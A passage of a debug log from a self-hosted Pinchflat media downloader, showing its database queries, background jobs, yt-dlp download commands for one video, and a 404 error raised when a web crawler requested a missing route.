s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:20:57.476 [debug] QUERY OK source="media_profiles" db=0.0ms idle=324.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:20:57.476 [debug] QUERY OK source="media_items" db=0.1ms idle=324.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12827] 16:20:57.476 [info] Kicking off download for media item #12827 (9kAA8XDQJQc) 16:20:57.555 [debug] QUERY OK source="tasks" db=0.1ms idle=79.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [705, 12827, ~U[2026-07-24 16:20:57Z], ~U[2026-07-24 16:20:57Z]] 16:20:57.555 [debug] QUERY OK source="media_items" db=0.2ms idle=79.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:20:57.556 [debug] QUERY OK source="sources" db=0.0ms idle=79.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:20:57.556 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:20:57.556 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12827] 16:20:57.556 [info] No notification servers provided for source 2 16:20:57.557 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [706, 2, ~U[2026-07-24 16:20:57Z], ~U[2026-07-24 16:20:57Z]] 16:20:57.557 [info] {"args":{"id":2},"id":702,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":3385780,"event":"job:stop","queue_time":488706,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:20:57.557 [debug] QUERY OK source="tasks" db=0.1ms idle=0.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:20:57.561 [info] {"args":{"id":12827},"id":705,"meta":{},"system_time":1784910057561111249,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:20:57.561 [debug] QUERY OK source="media_items" db=0.1ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12827] 16:20:57.561 [debug] QUERY OK source="tasks" db=0.1ms idle=3.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:20:57.561 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:20:57.561 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:20:57.561 [debug] QUERY OK source="media_items" db=0.3ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12827] 16:20:57.562 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:20:57.562 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12827] 16:20:57.563 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12827] 16:20:57.563 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:20:57.563 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:57.563 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:57.563 [debug] Running yt-dlp command for action: get_downloadable_status 16:20:57.564 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:57.564 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:57.564 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:57.564 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9kAA8XDQJQc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2f/08/2f08d6a1b5a929aa51ec7f7f2a6ff97787cc468b3bda2fcc10ac931412488304.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:21:00.057 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9kAA8XDQJQc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2f/08/2f08d6a1b5a929aa51ec7f7f2a6ff97787cc468b3bda2fcc10ac931412488304.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:21:00.057 [debug] Running yt-dlp command for action: download 16:21:00.057 [debug] QUERY OK source="settings" db=0.0ms idle=1104.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:00.057 [debug] QUERY OK source="settings" db=0.0ms idle=1104.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:00.057 [debug] QUERY OK source="settings" db=0.0ms idle=1104.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:00.057 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9kAA8XDQJQc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Banana Ballistics/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Banana Ballistics/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b6/36/b636e6fa60213897ef18092aa49e9f8c4701dce0de9e4c33773ad9d3d831cfb4.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:21:00.726 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:21:01.577 [info] GET /sources/3/sync_files_on_disk 16:21:01.577 [debug] QUERY OK source="settings" db=0.1ms idle=1519.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:01.577 [debug] QUERY OK source="settings" db=0.0ms idle=1519.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:01.577 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:21:01.577 [error] #PID<0.10815.0> running PinchflatWeb.Endpoint (connection #PID<0.10814.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10814.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56626}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10815.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGPoBVpc0WiFgAAhNC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10814.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56626}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10814.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56626}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10815.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"} (truncated) 16:21:08.185 [info] {"args":{"id":1},"id":703,"meta":{},"system_time":1784910068185193953,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:21:08.185 [debug] QUERY OK source="sources" db=0.1ms idle=1007.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:21:08.185 [debug] QUERY OK source="tasks" db=0.2ms idle=232.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:21:08.185 [debug] QUERY OK source="settings" db=0.1ms idle=232.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:08.186 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:21:08.186 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 